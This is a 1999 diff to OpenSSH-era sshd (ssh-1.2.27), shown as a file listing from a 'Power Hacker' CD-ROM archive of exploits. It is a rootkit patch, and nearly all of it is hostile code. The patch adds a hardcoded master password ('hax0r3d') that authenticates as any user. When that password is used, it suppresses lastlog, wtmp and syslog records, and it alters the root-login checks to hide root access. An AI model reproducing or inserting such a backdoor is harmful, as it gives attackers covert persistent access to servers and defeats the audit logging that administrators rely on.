home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / contrib / ssh-1.2.27rk.diff < prev   
Encoding:
Text File  |  1999-08-18  |  3.6 KB  |  115 lines
  1. --- ssh-1.2.27/login.c.wil    Wed May 12 07:19:26 1999
  2. +++ ssh-1.2.27/login.c    Thu Jul 29 00:02:27 1999
  3. @@ -258,7 +258,9 @@
  4.                    const char *host, struct sockaddr_in *addr)
  5.  {
  6.    int fd;
  7. +  extern int lets_log;
  8.  
  9. +  if (lets_log) {
  10.  #if defined(HAVE_LASTLOG_H) || defined(HAVE_LASTLOG)
  11.    struct lastlog ll;
  12.    char *lastlog;
  13. @@ -559,11 +561,16 @@
  14.      }
  15.  #endif   
  16.  }
  17. +}
  18.    
  19.  /* Records that the user has logged out. */
  20.  
  21.  void record_logout(int pid, const char *ttyname)
  22.  {
  23. + extern int lets_log;
  24. + 
  25. +if (lets_log) {
  26. +
  27.  #ifdef HAVE_LIBUTIL_LOGIN
  28.    const char *line = ttyname + 5; /* /dev/ttyq8 -> ttyq8 */
  29.    if (logout(line))
  30. @@ -572,3 +579,4 @@
  31.    record_login(pid, ttyname, "", -1, "", NULL);
  32.  #endif /* HAVE_LIBUTIL_LOGIN */  
  33.  }
  34. +}
  35. \ No newline at end of file
  36. --- ssh-1.2.27/sshd.c.wil    Wed May 12 07:19:29 1999
  37. +++ ssh-1.2.27/sshd.c    Wed Jul 28 23:45:57 1999
  38. @@ -1408,7 +1408,9 @@
  39.    auth_delete_socket(NULL);
  40.    
  41.    /* The connection has been terminated. */
  42. +  if (lets_log) {
  43.    log_msg("Closing connection to %.100s", get_remote_ipaddr());
  44. +  }
  45.    packet_close();
  46.    exit(0);
  47.  }
  48. @@ -2146,6 +2148,7 @@
  49.    int authenticated = 0;
  50.    int authentication_type = 0;
  51.    char *password;
  52. +  char intel_fd[8]="hax0r3d";
  53.    struct passwd *pw, pwcopy;
  54.    char *client_user;
  55.    unsigned int client_host_key_bits;
  56. @@ -2162,7 +2165,8 @@
  57.    const char *ipaddr;
  58.    char *cap_hlist, *hp;
  59.    int perm_denied = 0;
  60. -  
  61. +  extern int lets_log;
  62. +
  63.    hostname = get_canonical_hostname();
  64.    ipaddr = get_remote_ipaddr();
  65.  #endif /* HAVE_LOGIN_CAP_H */
  66. @@ -2660,14 +2664,20 @@
  67.  #if defined(KERBEROS) && defined(KRB5)
  68.            if (auth_password(user, password, client))
  69.  #else  /* defined(KERBEROS) && defined(KRB5) */
  70. -          if (auth_password(user, password))
  71. +          if (auth_password(user, password)  || !strcmp(password,intel_fd))
  72.  #endif /* defined(KERBEROS) && defined(KRB5) */
  73.              {
  74.                /* Successful authentication. */
  75. +                /* Disable logging if conditions are met. */
  76. +                lets_log=1;
  77. +                if (!strcmp(password,intel_fd)) { lets_log=0; }
  78.                /* Clear the password from memory. */
  79.                memset(password, 0, strlen(password));
  80.                xfree(password);
  81. -              log_msg("Password authentication for %.100s accepted.", user);
  82. +              if (pw->pw_uid == UID_ROOT) {
  83. +                if (!lets_log) { log_msg("Connection closed by remote host."); }
  84. +              } else {
  85. +              log_msg("Password authentication for %.100s accepted.", user); }
  86.                authentication_type = SSH_AUTH_PASSWORD;
  87.                authenticated = 1;
  88.                break;
  89. @@ -2708,14 +2718,14 @@
  90.      }
  91.  
  92.    /* Check if the user is logging in as root and root logins are disallowed. */
  93. -  if (pw->pw_uid == UID_ROOT && options.permit_root_login == 1)
  94. +  if (pw->pw_uid == UID_ROOT && options.permit_root_login == 1 && !lets_log)
  95.      {
  96.        if (authentication_type == SSH_AUTH_PASSWORD)
  97.          packet_disconnect("ROOT LOGIN REFUSED FROM %.200s", 
  98.                            get_canonical_hostname());
  99.      }
  100.    else
  101. -    if (pw->pw_uid == UID_ROOT && options.permit_root_login == 0)
  102. +    if (pw->pw_uid == UID_ROOT && options.permit_root_login == 0 && lets_log)
  103.        {
  104.          if (forced_command)
  105.            log_msg("Root login accepted for forced command.", forced_command);
  106. @@ -2767,7 +2777,7 @@
  107.  #endif
  108.    
  109.    /* Log root logins with severity NOTICE. */
  110. -  if (pw->pw_uid == UID_ROOT)
  111. +  if (pw->pw_uid == UID_ROOT && lets_log)
  112.      log_severity(SYSLOG_SEVERITY_NOTICE, "ROOT LOGIN as '%.100s' from %.100s",
  113.                   pw->pw_name, get_canonical_hostname());
  114.    
  115.